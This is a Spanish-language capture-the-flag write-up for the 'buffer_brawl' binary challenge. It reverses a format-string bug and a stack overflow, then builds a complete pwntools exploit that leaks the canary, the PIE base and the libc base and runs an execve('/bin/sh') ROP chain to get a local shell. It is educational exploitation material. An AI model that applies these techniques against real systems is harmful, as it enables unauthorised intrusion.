Reversing
Si ejecutamos el binario nos muestra un menú con varias opciones que analizaremos
❯ ./buffer_brawl
|||||||||
| _ _ |
( ' _ ' )
| ___ |
|_____|
_______/ \_______
/ \
| |\ /| |
| || . . || |
| / \ / \ |
\ | | |_ | _| | | /
|==| | |_ | _| | |==|
/ /_ _|_|__|__|_|_ _\ \
|___| / \|___|
| | |
| | |
| | |
| | |
''|''|''|''|''
| | | |
| | | |
/ ) ( \
Ooooo ooooO
Ladies and gentlemen...
Are you ready? For the main event of the CTF?
Introducing...
A challenge that packs a punch, tests your mettle, and overflows with excitement!
Let's get ready to buffeeeeeeeer!!!
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>
Analizaremos el funcionamiento del programa asi que iniciamos desensamblando la función main, esta llama a un par de funciones, la última de ellas es menu
La función menu inicia guardando una string en el stack y estableciendo una variable option choice la cual decidirá a que función llamar a través de una estructura switch
El siguiente bloque muestra poco a poco la string que muestra las opciones y recibe un entero con scanf que como formato recibe %d indicando un decimal
En el caso por defecto o 0 muestra un mensaje con puts indicando que no es una opción válida y vuelve al inicio de la función main para recibir nuevamente el digito
Si no salta al bloque 0 por defecto elige a que bloque saltar a través de un switch
El caso 1 llama a la función jab, esta resta una unidad a la variable global llamada stack_life_points y salta a la función stack_check_up que luego analizaremos
El caso 2 llama a hook que hace lo mismo pero resta 2 unidades en lugar de una
Finalmente el caso 3 llama a la función uppercut que resta un total de 3 unidades
Cada una de las funciones termina con un jmp hacia la función status_check_up, ésta función al inicio compara la variable global stack_life_points con la constante 13
Si la variable tiene un valor mayor o igual a 0 lanza un mensaje llamando a la función printf que muestra los puntos totales en la variable y sigue con la ejecución normal
Si la comparación de la variable global contra la constante 13 puntos resulta exitosa muestra un prompt con puts y recibe una string con scanf que lo guarda en el segundo argumento al que le pasa el valor de rsp, entendemos que escribirá en el stack, luego de la ejecución mueve el rsp un total de 0x28 o 40 bytes más adelante, aqui tenemos un posible buffer overflow, el offset al return address es 40 pero la stack cookie está en rbp - 8 y el offset para llegar ahí son 24 bytes
Volvemos a la estructura switch, el caso 4 llama a slip lee un total de 0x1d bytes con read y lo guarda en el rsp, luego le pasa eso como único argumento a printf sin pasarle algún tipo de formato ocasionando una vulnerabilidad de format string
Explotación
Iniciamos mirando las protecciones con checksec, empezamos con el FULL RELRO nos impode escribir en la tabla got, el Canary establece una variable local en rbp - 8 que comprueba que no se haya modificado antes de retornar, el NX nos impide ejecutar shellcode en el stack y el PIE hace aleatoria la dirección base del binario
❯ checksec buffer_brawl
[*] '/home/user/buffer_brawl'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Sabemos que en el caso 4 tenemos un format string, podemos probar enviar varios %p separados por . y el resultado son leaks de múltiples punteros interesantes
> 4
Try to slip...
Right or left?
%p.%p.%p.%p.%p.%p.%p
0x7ffc899d9390.0x1d.0x7e973e3147e2.0x1e.(nil).0x70252e70252e7025.0x252e70252e70252e
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
El siguiente script en python itera sobre las posiciones del 1 al 15 y muestra los punteros filtrados para ver si alguno de ellos nos puede servir para la explotación
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./buffer_brawl", "continue")
for i in range(1, 15):
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", f"%{i}$p".encode())
leak = shell.recvline().strip().decode()
log.info(f"{i}: {leak}")
shell.interactive()
Al ejecutarlo de primeras llama la atención la posición 11 ya que son 8 bytes completos y el último es un 00, formato tipico de las stack cookies o canary
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 33778
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] 1: 0x7fff21c92580
[*] 2: 0x1d
[*] 3: 0x7922b91147e2
[*] 4: 0x1e
[*] 5: (nil)
[*] 6: 0x5a0a70243625
[*] 7: 0xa
[*] 8: 0x5a007b8e24e0
[*] 9: 0x5a007b8e2181
[*] 10: 0x5a007b8e2171
[*] 11: 0x4c2cdd8b3ad7ff00
[*] 12: 0x5a007b8e24e0
[*] 13: 0x5a007b8e1747
[*] 14: 0x24
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
La posición 13 apunta a la función menu + 215, esta dirección es parte del binario y si restamos el offset que son 0x1747 bytes deberiamos poder obtener la dirección base
^C
Program received signal SIGINT, Interrupt.
0x00007922b91147e2 in read () from ./libc.so.6
pwndbg> x/i 0x5a007b8e1747
0x5a007b8e1747 <menu+215>: jmp 0x5a007b8e16c0 <menu+80>
pwndbg> vmmap 0x5a007b8e1747
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x5a007b8e0000 0x5a007b8e1000 r--p 1000 0 /home/user/buffer_brawl
► 0x5a007b8e1000 0x5a007b8e2000 r-xp 1000 1000 /home/user/buffer_brawl +0x747
0x5a007b8e2000 0x5a007b8e3000 r--p 1000 2000 /home/user/buffer_brawl
pwndbg> p/x 0x5a007b8e1747 - 0x5a007b8e0000
$1 = 0x1747
pwndbg>
Entonces, hacemos un leak con los punteros en la posición 11 y 13, a éste último le restamos el offset y de esta forma obtenemos la stack cookie y la dirección base del binario, con esto ya evadimos 2 de las protecciones que son el Canary y el PIE
#!/usr/bin/python3
from pwn import gdb, log
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
log.info(f"Canary: {hex(canary)}")
log.info(f"Binary base: {hex(binary_base)}")
shell.interactive()
Lo ejecutamos para comprobar que funciona, esto nos muestra la stack cookie y una dirección que si comparamos con la dirección base del binario es justo la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 34169
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] Canary: 0x232f75b7c0f1b600
[*] Binary base: 0x5c0474962000
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
^C
Program received signal SIGINT, Interrupt.
0x000076e3605147e2 in read () from ./libc.so.6
pwndbg> vmmap buffer_brawl
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
► 0x5c0474962000 0x5c0474963000 r--p 1000 0 /home/user/buffer_brawl
► 0x5c0474963000 0x5c0474964000 r-xp 1000 1000 /home/user/buffer_brawl
► 0x5c0474964000 0x5c0474965000 r--p 1000 2000 /home/user/buffer_brawl
► 0x5c0474965000 0x5c0474966000 r--p 1000 2000 /home/user/buffer_brawl
► 0x5c0474966000 0x5c0474967000 rw-p 1000 3000 /home/user/buffer_brawl
► 0x5c0474967000 0x5c0474969000 rw-p 2000 5000 /home/user/buffer_brawl
0x5c0474d2c000 0x5c0474d4d000 rw-p 21000 0 [heap]
pwndbg>
Al inicio cuando lekeamos algunos punteros podemos notar que a partir de la posición 6 los valores son un reflejo de nuestros datos en punteros hexadecimales
❯ unhex 70252e70252e7025 | rev
%p.%p.%p
❯ unhex 252e70252e70252e | rev
%.p%.p%.
Entonces, podemos enviar %7$p para hacer un leak de la posición 7 y luego rellenar con . a 8 bytes que es el tamaño del puntero, luego enviamos AAAABBBB, el resultado es que el leak muestra estos caractéres de la posición 7 como puntero
> 4
Try to slip...
Right or left?
%7$p....AAAABBBB
0x4242424241414141....AAAABBBB
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
>
Podemos aprovechar esto para hacer un leak de libc, para ello solo necesitamos la entrada got de la función puts que contiene una referencia a su posición en libc
pwndbg> x/i puts
0x1030 <puts@plt>: jmp QWORD PTR [rip+0x2f6a] # 0x3fa0 <puts@got.plt>
pwndbg>
También necesitamos el offset ésta la misma función pero en libc que obtenemos con libcdb, esto para restarle esa cantidad al leak y obtener la dirección base de libc
❯ libcdb file libc.so.6
[*] libc.so.6
Version: 2.35
BuildID: 490fef8403240c91833978d494d39e537409b92e
MD5: 3ffd733fd1e00b1f8ef939de78b33509
SHA1: b99cddb548877d514655da7ecac1348dd45e6eee
SHA256: 5955dead1a55f545cf9cf34a40b2eb65deb84ea503ac467a266d061073315fa7
Symbols:
__libc_start_main_ret = 0x29d90
dup2 = 0x115010
printf = 0x606f0
puts = 0x80e50
read = 0x1147d0
str_bin_sh = 0x1d8678
system = 0x50d70
write = 0x114870
Entonces, ahora nuestro exploit usa %7$s para mostrar como string el contenido de la posición 7, rellenamos el qword y para esa posición le pasamos la entrada got de la función puts, entonces ejecutará algún tipo de printf(puts@got) que muestra la dirección de puts en memoria y al restar el offset nos da la dirección base de libc
#!/usr/bin/python3
from pwn import gdb, p64, u64, log
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
log.info(f"Libc base: {hex(libc_base)}")
shell.interactive()
Ejecutamos el exploit y nos muestra la dirección lekeada, si comparamos esta dirección con la base de libc que vemos en gdb es exactamente la misma
❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 38069
[*] running in new terminal: ['/usr/bin/gdb', '-q', './buffer_brawl']
[*] Libc base: 0x79d216c00000
[*] Switching to interactive mode
Choose:
1. Throw a jab
2. Throw a hook
3. Throw an uppercut
4. Slip
5. Call off
> $
^C
Program received signal SIGINT, Interrupt.
0x000079d216d147e2 in read () from ./libc.so.6
pwndbg> vmmap libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x6337e5243000 0x6337e5264000 rw-p 21000 0 [heap]
► 0x79d216c00000 0x79d216c28000 r--p 28000 0 /home/user/BufferBrawl/libc.so.6
► 0x79d216c28000 0x79d216dbd000 r-xp 195000 28000 /home/user/BufferBrawl/libc.so.6
► 0x79d216dbd000 0x79d216e15000 r--p 58000 1bd000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e15000 0x79d216e16000 ---p 1000 215000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e16000 0x79d216e1a000 r--p 4000 215000 /home/user/BufferBrawl/libc.so.6
► 0x79d216e1a000 0x79d216e1c000 rw-p 2000 219000 /home/user/BufferBrawl/libc.so.6
pwndbg>
Vamos con la siguiente vulnerabilidad, mediante un bucle for restaremos 3 puntos 29 veces, esto deja a la variable stack_life_points en 13, entonces ya podemos explotar el buffer overflow el cual dijimos tenia un offset a la cookie de 24 bytes, ahí enviamos el canary, 8 B's para rbp y 8 C's para el return address, además un par de D's que se guardarán en el stack, asi tenemos el control del flujo de ejecución
#!/usr/bin/python3
from pwn import gdb, p64, u64
shell = gdb.debug("./buffer_brawl", "continue")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
for i in range(29):
shell.sendlineafter(b"> ", b"3")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += b"C" * 8
payload += b"D" * 24
shell.sendlineafter(b": ", payload)
shell.recvline()
shell.interactive()
Program received signal SIGSEGV, Segmentation fault.
0x000063b373c7647d in stack_check_up ()
pwndbg> x/gx $rsp
0x7ffc8025a808: 0x4343434343434343
pwndbg> x/s $rsp+8
0x7ffc8025a810: 'D' <repetidos 24 veces>
pwndbg>
Una vez controlamos el return address y los valores en el stack simplemente nos queda agregar un ropchain, en este caso debido a problemas con system usamos uno que ejecute execve("/bin/sh", NULL, NULL); a través de una syscall
#!/usr/bin/python3
from pwn import process, p64, u64
shell = process("./buffer_brawl")
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", b"%11$p.%13$p")
leak = shell.recvline().strip().split(b".")
canary = int(leak[0], 16)
binary_base = int(leak[1], 16) - 0x1747
payload = b"%7$s...." + p64(binary_base + 0x3fa0) # puts@got
shell.sendlineafter(b"> ", b"4")
shell.sendlineafter(b"?\n", payload)
libc_base = u64(shell.recvuntil(b"....")[:-4].ljust(8, b"\x00")) - 0x80e50
for i in range(29):
shell.sendlineafter(b"> ", b"3")
offset = 24
junk = b"A" * offset
payload = b""
payload += junk
payload += p64(canary)
payload += b"B" * 8
payload += p64(libc_base + 0x045eb0) # pop rax; ret;
payload += p64(0x3b) # execve()
payload += p64(libc_base + 0x02a3e5) # pop rdi; ret;
payload += p64(libc_base + 0x1d8678) # "/bin/sh"
payload += p64(libc_base + 0x02be51) # pop rsi; ret;
payload += p64(0x0) # NULL
payload += p64(libc_base + 0x118f2f) # mov rdx, rsi; syscall;
shell.sendlineafter(b": ", payload)
shell.recvline()
shell.interactive()
Entonces, en el exploit usamos el format string para lekear el canary y la dirección base del binario, ya con ello lekeamos la dirección base de libc para posteriormente explotar el buffer overflow que al ejecutar el ropchain nos devuelve una shell
❯ python3 exploit.py
[+] Starting local process './buffer_brawl': pid 41976
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$